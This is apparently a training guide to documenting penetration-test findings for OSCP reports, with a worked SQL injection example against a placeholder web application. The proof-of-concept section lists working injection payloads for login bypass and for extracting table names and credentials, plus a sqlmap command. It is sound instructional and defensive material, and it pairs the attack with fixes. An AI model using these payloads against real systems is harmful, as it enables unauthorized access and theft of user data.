OSCP Report Writing: Technical Findings Documentation
1. Finding Structure Template
Each finding in your report should follow a consistent, comprehensive structure. This consistency makes the report professional, readable, and actionable.
Required Finding Components
### VULN-XXX: [Vulnerability Title]
**Severity:** [Critical/High/Medium/Low]
**CVSS Score:** [Score] ([Vector String])
**Affected System:** [Hostname/IP]
**Affected Component:** [Specific component/endpoint]
**Discovered:** [Date]
#### Summary
[Brief description of the vulnerability in 2-3 sentences]
#### Technical Details
[Detailed technical explanation of the vulnerability]
#### Proof of Concept
[Step-by-step reproduction instructions with commands and output]
#### Evidence
[Screenshots and supporting evidence]
#### Impact
[Technical and business impact of the vulnerability]
#### Remediation
[Specific fix steps with examples]
#### References
[CVEs, CWEs, OWASP categories, vendor advisories]
2. Complete Finding Example
VULN-001: SQL Injection in User Login Form
Severity: Critical CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Affected System: webapp.example.com (10.10.10.100) Affected Component: /login endpoint, POST parameter ‘username’ Discovered: 2026-08-15
Summary
A SQL injection vulnerability exists in the user login form of the web application. An unauthenticated attacker can extract, modify, or delete data from the backend MySQL database by injecting malicious SQL code into the ‘username’ parameter. This vulnerability allows complete authentication bypass and full database access.
Technical Details
The ‘username’ parameter in the POST request to /login is directly concatenated into a SQL query without proper sanitization or parameterization. The application uses MySQL 5.7 as the backend database.
The vulnerable code pattern is likely:
SELECT * FROM users WHERE username = '$username' AND password = '$password'
The application does not implement:
- Parameterized queries / prepared statements
- Input validation or sanitization
- Stored procedures
- Web Application Firewall (WAF) rules
The vulnerability was confirmed using multiple injection techniques:
- Boolean-based blind injection
- UNION-based injection
- Time-based blind injection
Proof of Concept
Step 1: Authentication Bypass
Send the following POST request:
POST /login HTTP/1.1
Host: webapp.example.com
Content-Type: application/x-www-form-urlencoded
username=admin' OR '1'='1'--&password=test
The application returns a successful login response:
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=abc123def456; HttpOnly
Step 2: Data Extraction via UNION Injection
Determine the number of columns:
POST /login HTTP/1.1
Host: webapp.example.com
Content-Type: application/x-www-form-urlencoded
username=' ORDER BY 5--&password=x
Extract database version:
POST /login HTTP/1.1
Host: webapp.example.com
Content-Type: application/x-www-form-urlencoded
username=' UNION SELECT 1,VERSION(),3,4,5--&password=x
Extract table names:
POST /login HTTP/1.1
Host: webapp.example.com
Content-Type: application/x-www-form-urlencoded
username=' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=database()--&password=x
Extract user credentials:
POST /login HTTP/1.1
Host: webapp.example.com
Content-Type: application/x-www-form-urlencoded
username=' UNION SELECT 1,username,password,email,5 FROM users--&password=x
Step 3: Automated Extraction with sqlmap
sqlmap -u "http://webapp.example.com/login" \
--data="username=admin&password=test" \
--batch --dbs --level=3 --risk=2
Evidence
📷 [Screenshot Placeholder: SQL Injection Authentication Bypass]📷 [Screenshot Placeholder: SQL Injection Data Extraction]Impact
Technical Impact:
- Complete database access (read, write, delete)
- Extraction of all user credentials (usernames, password hashes, emails)
- Full authentication bypass for any user account
- Potential for remote code execution if MySQL UDF can be uploaded
- Data modification or deletion capability
Business Impact:
- Exposure of all customer data stored in the database
- Potential regulatory violations (PCI-DSS, GDPR, HIPAA)
- Loss of customer trust and reputational damage
- Potential financial liability from data breach
Remediation
Immediate Actions (0-7 days):
- Implement parameterized queries / prepared statements for all database interactions
- Deploy a WAF rule to block SQL injection patterns
- Restrict database user permissions to minimum required
Short-term Actions (7-30 days):
- Conduct a comprehensive code review of all database interactions
- Implement input validation and sanitization across the application
- Enable database audit logging
Long-term Actions (30-90 days):
- Implement automated security testing in the CI/CD pipeline
- Conduct security awareness training for the development team
- Establish a regular vulnerability scanning schedule
Code Example:
Vulnerable code (Python):
# VULNERABLE - Do NOT use
cursor.execute(f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'")
Fixed code (Python):
# SECURE - Use parameterized queries
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
Vulnerable code (PHP):
// VULNERABLE - Do NOT use
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
Fixed code (PHP):
// SECURE - Use prepared statements
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
References
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command: https://cwe.mitre.org/data/definitions/89.html
- OWASP Top 10:2021 - A03: Injection: https://owasp.org/Top10/A03_2021-Injection/
- MySQL Prepared Statements: https://dev.mysql.com/doc/refman/8.0/en/prepared-statements.html
3. Finding Categories
Understanding vulnerability categories helps you classify and document findings consistently.
Category Breakdown
| Category | Examples | Common CVSS Range | OSCP Relevance |
|---|---|---|---|
| Injection | SQLi, Command Injection, XSS, LDAP Injection, XPath Injection | 7.0 - 10.0 | Very High |
| Authentication | Weak passwords, credential stuffing, session fixation, broken auth | 5.0 - 9.0 | Very High |
| Authorization | IDOR, privilege escalation, missing access control, broken authorization | 6.0 - 9.0 | Very High |
| Data Exposure | Sensitive data in logs, unencrypted storage, verbose errors, debug info | 3.0 - 7.0 | High |
| Security Misconfiguration | Default credentials, open ports, verbose errors, unnecessary services | 4.0 - 8.0 | Very High |
| Vulnerable Components | Outdated libraries, known CVEs, unpatched software | 5.0 - 10.0 | Very High |
| Cryptographic Failures | Weak algorithms, hardcoded keys, no encryption, weak hashing | 4.0 - 9.0 | High |
| Server-Side | SSRF, XXE, deserialization, path traversal, SSTI | 6.0 - 10.0 | High |
| Client-Side | XSS, CSRF, clickjacking, open redirect | 3.0 - 8.0 | Medium |
| Network | Man-in-the-middle, DNS spoofing, unencrypted protocols | 4.0 - 9.0 | Medium |
OSCP-Specific Finding Types
For the OSCP exam, you will most commonly encounter these finding types:
- Service Exploitation: Exploiting a vulnerable service (e.g., Apache Struts, Exchange, SMB)
- Web Application Vulnerabilities: SQL injection, command injection, file upload, authentication bypass
- Authentication Attacks: Brute force, password spraying, credential reuse
- Privilege Escalation (Linux): Kernel exploits, SUID binaries, cron jobs, sudo misconfigurations, capability abuse
- Privilege Escalation (Windows): Unquoted service paths, AlwaysInstallElevated, registry misconfigurations, token manipulation
- Lateral Movement: Pass-the-hash, pass-the-ticket, WMI, PsExec, SSH key abuse
4. Writing Effective Finding Descriptions
The Finding Title
The title should be clear, specific, and informative:
| Bad Title | Good Title |
|---|---|
| “SQL Injection” | “SQL Injection in User Login Form Allows Authentication Bypass” |
| “Weak Password” | “Default Administrator Credentials on Web Application” |
| “Privilege Escalation” | “Local Privilege Escalation to Root via Kernel Vulnerability CVE-2024-1234” |
| “XSS” | “Reflected Cross-Site Scripting in Search Function” |
| “Open Port” | “Unnecessary SMB Service Exposed on Public-Facing Server” |
The Summary
The summary should answer three questions in 2-3 sentences:
- What is the vulnerability?
- Where is it located?
- What can an attacker do with it?
Example:
A SQL injection vulnerability exists in the user login form of the
customer portal web application (webapp.example.com). An unauthenticated
attacker can inject malicious SQL code into the 'username' parameter,
allowing extraction of all data from the backend MySQL database,
including user credentials and customer information.
The Technical Details
The technical details should provide enough information for a qualified engineer to understand the vulnerability without reproducing it. Include:
- The root cause of the vulnerability
- The affected code or configuration
- The attack vector and method
- Any relevant technical context (versions, configurations, etc.)
5. Finding Documentation Best Practices
Atomicity
One finding per vulnerability. Do not combine unrelated issues into a single finding.
Bad: Combining SQL injection and XSS into one finding because they’re on the same page.
Good: Separate findings for SQL injection (VULN-001) and XSS (VULN-002), even if they affect the same endpoint.
Exception: Related instances of the same vulnerability can be grouped. For example, if SQL injection exists on 5 different endpoints using the same code pattern, you can document them as one finding with multiple affected endpoints listed.
Reproducibility
Any qualified tester should be able to reproduce your findings using the information provided. Include:
- Exact commands and payloads
- Full HTTP requests and responses
- Tool configurations and parameters
- Environment context (user, directory, etc.)
Completeness
Include all relevant technical details without unnecessary noise:
- Include: Vulnerable parameter, payload, response, impact, affected version
- Exclude: Unrelated scan results, failed attempts (unless relevant), verbose tool output (put in appendix)
Attribution
Reference authoritative sources for each finding:
- CVE: Common Vulnerabilities and Exposures identifier
- CWE: Common Weakness Enumeration category
- OWASP: OWASP Top 10 category
- Vendor Advisory: Official vendor security advisory
- MITRE ATT&CK: Attack technique reference
6. Finding Severity Guidelines
Severity Assignment Criteria
| Severity | Criteria | Examples |
|---|---|---|
| Critical | Remote code execution, complete system compromise, full data breach | RCE via web app, domain admin compromise, unauthenticated SQLi with data extraction |
| High | Significant data exposure, authentication bypass, privilege escalation | Authenticated RCE, local privilege escalation, credential theft |
| Medium | Limited data exposure, requires user interaction, partial information disclosure | Reflected XSS, open redirect, information disclosure |
| Low | Minimal impact, difficult to exploit, theoretical risk | Missing security headers, verbose error messages, cookie without HttpOnly flag |
| Informational | No direct security impact, best practice recommendation | Outdated software (no known exploit), missing banner grabbing protection |
7. Key Takeaways
- Consistent structure. Use the same template for every finding.
- One finding per vulnerability. Keep findings atomic and focused.
- Reproducible. Include exact commands, payloads, and output.
- Complete. Provide all relevant technical details.
- Attributed. Reference CVEs, CWEs, and OWASP categories.
- Actionable. Include specific remediation steps with code examples.
- Evidence-backed. Support every claim with screenshots or output.
- Clear titles. Make finding titles specific and informative.
8. Further Reading
- OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
- CWE Top 25: https://cwe.mitre.org/top25/archive/2024/2024_top25_list.html
- NVD CVE Database: https://nvd.nist.gov/vuln/search
- MITRE ATT&CK Framework: https://attack.mitre.org/